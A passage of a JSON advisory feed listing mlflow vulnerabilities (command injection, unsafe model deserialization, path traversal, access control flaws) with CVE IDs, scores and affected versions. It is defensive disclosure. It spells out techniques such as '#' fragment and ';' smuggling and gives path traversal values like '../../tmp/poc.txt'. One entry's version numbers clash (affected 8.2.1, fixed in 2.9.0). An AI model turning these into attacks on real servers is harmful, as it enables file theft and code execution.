SA_kwCzR0hTQS1qNDZxLTVweHgtOHZtd84AA8xl","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.11.3","vulnerable_version_range":"\u003c 2.11.3"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNDZxLTVweHgtOHZtd84AA8xl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cTZjLWZmdmcteGNtOc4AA8xf","url":"https://github.com/advisories/GHSA-5q6c-ffvg-xcm9","title":"Remote code execution in mlflow","description":"A vulnerability in mlflow/mlflow version 8.2.1 allows for remote code execution due to improper neutralization of special elements used in an OS command ('Command Injection') within the `mlflow.data.http_dataset_source.py` module. Specifically, when loading a dataset from a source URL with an HTTP scheme, the filename extracted from the `Content-Disposition` header or the URL path is used to generate the final file path without proper sanitization. This flaw enables an attacker to control the file path fully by utilizing path traversal or absolute path techniques, such as '../../tmp/poc.txt' or '/tmp/poc.txt', leading to arbitrary file write. Exploiting this vulnerability could allow a malicious user to execute commands on the vulnerable machine, potentially gaining access to data and model information. The issue is fixed in version 2.9.0.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-06-06T21:30:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-0520","https://github.com/mlflow/mlflow/commit/400c226953b4568f4361bc0a0c223511652c2b9d","https://huntr.com/bounties/93e470d7-b6f0-409b-af63-49d3e2a26dbc","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2024-239.yaml","https://github.com/advisories/GHSA-5q6c-ffvg-xcm9"],"source_kind":"github","identifiers":["GHSA-5q6c-ffvg-xcm9","CVE-2024-0520"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2024-06-06T23:05:14.854Z","updated_at":"2026-10-10T09:13:13.105Z","epss_percentage":0.02401,"epss_percentile":0.83517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cTZjLWZmdmcteGNtOc4AA8xf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cTZjLWZmdmcteGNtOc4AA8xf","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.0","vulnerable_version_range":"\u003c 2.9.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cTZjLWZmdmcteGNtOc4AA8xf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdjZjLTc5NjMtd3hjZ84AA8rv","url":"https://github.com/advisories/GHSA-cv6c-7963-wxcg","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.27.0 or newer, enabling a maliciously crafted Recipe to execute arbitrary code on an end user’s system when run.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37060","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-cv6c-7963-wxcg"],"source_kind":"github","identifiers":["GHSA-cv6c-7963-wxcg","CVE-2024-37060"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:30.971Z","updated_at":"2026-10-10T09:13:06.997Z","epss_percentage":0.00775,"epss_percentile":0.53621,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjZjLTc5NjMtd3hjZ84AA8rv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdjZjLTc5NjMtd3hjZ84AA8rv","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.27.0, \u003c= 2.14.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjZjLTc5NjMtd3hjZ84AA8rv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcWN2LXF3MnItcjg1Oc4AA8rt","url":"https://github.com/advisories/GHSA-pqcv-qw2r-r859","title":"MLFlow improper input validation","description":"Remote Code Execution can occur in versions of the MLflow platform running version 1.11.0 or newer, enabling a maliciously crafted MLproject to execute arbitrary code on an end user’s system when run due to unfiltered input.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37061","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-pqcv-qw2r-r859"],"source_kind":"github","identifiers":["GHSA-pqcv-qw2r-r859","CVE-2024-37061"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:30.926Z","updated_at":"2026-10-10T09:13:16.205Z","epss_percentage":0.00884,"epss_percentile":0.57572,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcWN2LXF3MnItcjg1Oc4AA8rt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcWN2LXF3MnItcjg1Oc4AA8rt","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.11.0, \u003c= 2.13.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcWN2LXF3MnItcjg1Oc4AA8rt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qOG1nLXBxYzUteDlnas4AA8rn","url":"https://github.com/advisories/GHSA-j8mg-pqc5-x9gj","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 2.0.0rc0 or newer, enabling a maliciously uploaded Tensorflow model to run arbitrary code on an end user’s system when interacted with.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37057","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-j8mg-pqc5-x9gj"],"source_kind":"github","identifiers":["GHSA-j8mg-pqc5-x9gj","CVE-2024-37057"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:31.099Z","updated_at":"2026-10-10T09:13:06.991Z","epss_percentage":0.00618,"epss_percentile":0.47511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOG1nLXBxYzUteDlnas4AA8rn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qOG1nLXBxYzUteDlnas4AA8rn","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.0.0rc0, \u003c= 2.14.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qOG1nLXBxYzUteDlnas4AA8rn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jd2dnLXc2bXAtdzloZ84AA8rp","url":"https://github.com/advisories/GHSA-cwgg-w6mp-w9hg","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 2.5.0 or newer, enabling a maliciously uploaded Langchain AgentExecutor model to run arbitrary code on an end user’s system when interacted with.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37058","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-cwgg-w6mp-w9hg"],"source_kind":"github","identifiers":["GHSA-cwgg-w6mp-w9hg","CVE-2024-37058"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:31.059Z","updated_at":"2026-10-10T09:13:06.993Z","epss_percentage":0.00618,"epss_percentile":0.47511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jd2dnLXc2bXAtdzloZ84AA8rp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jd2dnLXc2bXAtdzloZ84AA8rp","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.5.0, \u003c= 2.14.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jd2dnLXc2bXAtdzloZ84AA8rp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13ZjdmLThmeGYteGZ4Y84AA8ro","url":"https://github.com/advisories/GHSA-wf7f-8fxf-xfxc","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.5.0 or newer, enabling a maliciously uploaded PyTorch model to run arbitrary code on an end user’s system when interacted with.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37059","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-wf7f-8fxf-xfxc"],"source_kind":"github","identifiers":["GHSA-wf7f-8fxf-xfxc","CVE-2024-37059"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:31.019Z","updated_at":"2026-10-10T09:09:03.372Z","epss_percentage":0.00618,"epss_percentile":0.47511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjdmLThmeGYteGZ4Y84AA8ro","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ZjdmLThmeGYteGZ4Y84AA8ro","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 0.5.0, \u003c= 3.4.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjdmLThmeGYteGZ4Y84AA8ro/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cDhqLXF2NngtZjRnNM4AA8rh","url":"https://github.com/advisories/GHSA-7p8j-qv6x-f4g4","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.23.0 or newer, enabling a maliciously uploaded LightGBM scikit-learn model to run arbitrary code on an end user’s system when interacted with.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37056","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-7p8j-qv6x-f4g4"],"source_kind":"github","identifiers":["GHSA-7p8j-qv6x-f4g4","CVE-2024-37056"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:31.187Z","updated_at":"2026-10-10T09:13:06.994Z","epss_percentage":0.00618,"epss_percentile":0.4751,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDhqLXF2NngtZjRnNM4AA8rh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cDhqLXF2NngtZjRnNM4AA8rh","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.23.0, \u003c= 2.14.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDhqLXF2NngtZjRnNM4AA8rh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00M2M0LTlxZ2oteDc0Ms4AA8re","url":"https://github.com/advisories/GHSA-43c4-9qgj-x742","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.1.0 or newer, enabling a maliciously uploaded scikit-learn model to run arbitrary code on an end user’s system when interacted with.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37053","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-43c4-9qgj-x742"],"source_kind":"github","identifiers":["GHSA-43c4-9qgj-x742","CVE-2024-37053"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:31.319Z","updated_at":"2026-10-10T09:13:06.995Z","epss_percentage":0.00618,"epss_percentile":0.47511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00M2M0LTlxZ2oteDc0Ms4AA8re","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00M2M0LTlxZ2oteDc0Ms4AA8re","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.1.0, \u003c= 2.14.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00M2M0LTlxZ2oteDc0Ms4AA8re/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1naHY2LTlyOWotd2g0as4AA8rm","url":"https://github.com/advisories/GHSA-ghv6-9r9j-wh4j","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.9.0 or newer, enabling a maliciously uploaded PyFunc model to run arbitrary code on an end user’s system when interacted with.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37054","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-ghv6-9r9j-wh4j"],"source_kind":"github","identifiers":["GHSA-ghv6-9r9j-wh4j","CVE-2024-37054"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:31.281Z","updated_at":"2026-10-10T09:13:06.998Z","epss_percentage":0.00703,"epss_percentile":0.51546,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naHY2LTlyOWotd2g0as4AA8rm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1naHY2LTlyOWotd2g0as4AA8rm","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 0.9.0, \u003c= 2.14.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naHY2LTlyOWotd2g0as4AA8rm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Mzh4LWc2Z3ItanFmZs4AA8rl","url":"https://github.com/advisories/GHSA-x38x-g6gr-jqff","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.24.0 or newer, enabling a maliciously uploaded pmdarima model to run arbitrary code on an end user’s system when interacted with.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37055","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-x38x-g6gr-jqff"],"source_kind":"github","identifiers":["GHSA-x38x-g6gr-jqff","CVE-2024-37055"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:31.238Z","updated_at":"2026-10-10T09:13:06.992Z","epss_percentage":0.00623,"epss_percentile":0.47597,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Mzh4LWc2Z3ItanFmZs4AA8rl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Mzh4LWc2Z3ItanFmZs4AA8rl","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.24.0, \u003c= 2.14.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Mzh4LWc2Z3ItanFmZs4AA8rl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NmNnLWNmaHgtMzczZs4AA8rk","url":"https://github.com/advisories/GHSA-76cg-cfhx-373f","title":"MLFlow unsafe deserialization","description":"Deserialization of untrusted data can occur in versions of the MLflow platform running version 1.1.0 or newer, enabling a maliciously uploaded scikit-learn model to run arbitrary code on an end user’s system when interacted with.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-04T12:31:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-37052","https://hiddenlayer.com/sai-security-advisory/mlflow-june2024","https://github.com/advisories/GHSA-76cg-cfhx-373f"],"source_kind":"github","identifiers":["GHSA-76cg-cfhx-373f","CVE-2024-37052"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-06-05T14:05:31.142Z","updated_at":"2026-10-10T09:13:06.997Z","epss_percentage":0.00665,"epss_percentile":0.49584,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NmNnLWNmaHgtMzczZs4AA8rk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NmNnLWNmaHgtMzczZs4AA8rk","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.1.0, \u003c= 2.14.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NmNnLWNmaHgtMzczZs4AA8rk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNGp4LXE2MnAteDVqcs4AA8J5","url":"https://github.com/advisories/GHSA-p4jx-q62p-x5jr","title":"MLflow allows low privilege users to delete any artifact","description":"A broken access control vulnerability exists in mlflow/mlflow versions before 2.10.1, where low privilege users with only EDIT permissions on an experiment can delete any artifacts. This issue arises due to the lack of proper validation for DELETE requests by users with EDIT permissions, allowing them to perform unauthorized deletions of artifacts. The vulnerability specifically affects the handling of artifact deletions within the application, as demonstrated by the ability of a low privilege user to delete a directory inside an artifact using a DELETE request, despite the official documentation stating that users with EDIT permission can only read and update artifacts, not delete them.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-05-16T09:33:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-4263","https://github.com/mlflow/mlflow/commit/b43e0e3de5b500554e13dc032ba2083b2d6c94b8","https://huntr.com/bounties/bfa116d3-2af8-4c4a-ac34-ccde7491ae11","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2024-51.yaml","https://github.com/advisories/GHSA-p4jx-q62p-x5jr"],"source_kind":"github","identifiers":["GHSA-p4jx-q62p-x5jr","CVE-2024-4263"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2024-05-16T18:05:19.756Z","updated_at":"2026-10-10T09:13:32.315Z","epss_percentage":0.00332,"epss_percentile":0.23617,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGp4LXE2MnAteDVqcs4AA8J5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNGp4LXE2MnAteDVqcs4AA8J5","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003c 2.10.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGp4LXE2MnAteDVqcs4AA8J5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yZnFxLXdxNnctNzJqbc4AA8J7","url":"https://github.com/advisories/GHSA-rfqq-wq6w-72jm","title":"MLflow has a Local File Read/Path Traversal bypass","description":"A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-05-16T09:33:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-3848","https://github.com/mlflow/mlflow/commit/f8d51e21523238280ebcfdb378612afd7844eca8","https://huntr.com/bounties/8d5aadaa-522f-4839-b41b-d7da362dd610","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2024-244.yaml","https://github.com/advisories/GHSA-rfqq-wq6w-72jm"],"source_kind":"github","identifiers":["GHSA-rfqq-wq6w-72jm","CVE-2024-3848"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2024-05-16T18:05:19.727Z","updated_at":"2026-10-10T09:13:32.314Z","epss_percentage":0.43284,"epss_percentile":0.98563,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZnFxLXdxNnctNzJqbc4AA8J7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZnFxLXdxNnctNzJqbc4AA8J7","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.12.1","vulnerable_version_range":"\u003e= 2.9.2, \u003c 2.12.1"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZnFxLXdxNnctNzJqbc4AA8J7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocTg4LXdnN3EtZ3A0Z84AA7CC","url":"https://github.com/advisories/GHSA-hq88-wg7q-gp4g","title":"mlflow vulnerable to Path Traversal","description":"mlflow/mlflow is vulnerable to Local File Inclusion (LFI) due to improper parsing of URIs, allowing attackers to bypass checks and read arbitrary files on the system. The issue arises from the 'is_local_uri' function's failure to properly handle URIs with empty or 'file' schemes, leading to the misclassification of URIs as non-local. Attackers can exploit this by crafting malicious model versions with specially crafted 'source' parameters, enabling the reading of sensitive files within at least two directory levels from the server's root.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-04-16T00:30:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-3573","https://github.com/mlflow/mlflow/commit/438a450714a3ca06285eeea34bdc6cf79d7f6cbc","https://huntr.com/bounties/8ea058a7-4ef8-4baf-9198-bc0147fc543c","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2024-243.yaml","https://github.com/advisories/GHSA-hq88-wg7q-gp4g"],"source_kind":"github","identifiers":["GHSA-hq88-wg7q-gp4g","CVE-2024-3573"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2024-04-16T19:05:04.343Z","updated_at":"2026-10-10T09:14:19.820Z","epss_percentage":0.00733,"epss_percentile":0.52506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocTg4LXdnN3EtZ3A0Z84AA7CC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocTg4LXdnN3EtZ3A0Z84AA7CC","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.10.0","vulnerable_version_range":"\u003c 2.10.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocTg4LXdnN3EtZ3A0Z84AA7CC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mNDJtLW12ZnYtY2d3Nc4AA7B7","url":"https://github.com/advisories/GHSA-f42m-mvfv-cgw5","title":"mlflow vulnerable to Path Traversal","description":"A path traversal vulnerability exists in the mlflow/mlflow repository due to improper handling of URL parameters. By smuggling path traversal sequences using the ';' character in URLs, attackers can manipulate the 'params' portion of the URL to gain unauthorized access to files or directories. This vulnerability allows for arbitrary data smuggling into the 'params' part of the URL, enabling attacks similar to those described in previous reports but utilizing the ';' character for parameter smuggling. Successful exploitation could lead to unauthorized information disclosure or server compromise.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-16T00:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-1593","https://huntr.com/bounties/dbdc6bd6-d09a-46f2-9d9c-5138a14b6e31","https://github.com/advisories/GHSA-f42m-mvfv-cgw5"],"source_kind":"github","identifiers":["GHSA-f42m-mvfv-cgw5","CVE-2024-1593"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-04-16T19:05:04.391Z","updated_at":"2026-10-10T09:14:19.824Z","epss_percentage":0.00696,"epss_percentile":0.51519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNDJtLW12ZnYtY2d3Nc4AA7B7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mNDJtLW12ZnYtY2d3Nc4AA7B7","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mNDJtLW12ZnYtY2d3Nc4AA7B7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNDljLTVjNTItNjY5Ns4AA7B8","url":"https://github.com/advisories/GHSA-m49c-5c52-6696","title":"mlflow vulnerable to Path Traversal","description":"A path traversal vulnerability exists in the mlflow/mlflow repository, specifically within the handling of the `artifact_location` parameter when creating an experiment. Attackers can exploit this vulnerability by using a fragment component `#` in the artifact location URI to read arbitrary files on the server in the context of the server's process. This issue is similar to CVE-2023-6909 but utilizes a different component of the URI to achieve the same effect. ","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-16T00:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-1594","https://huntr.com/bounties/424b6f6b-e778-4a2b-b860-39730d396f3e","https://github.com/mlflow/mlflow/blob/b929a3e727dc48a1eb19b7e954b7897ac09ad3ec/mlflow/utils/uri.py#L246","https://github.com/advisories/GHSA-m49c-5c52-6696"],"source_kind":"github","identifiers":["GHSA-m49c-5c52-6696","CVE-2024-1594"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2024-04-16T19:05:04.367Z","updated_at":"2026-10-10T09:14:19.821Z","epss_percentage":0.00712,"epss_percentile":0.51518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDljLTVjNTItNjY5Ns4AA7B8","html_url":"https://advisories.ec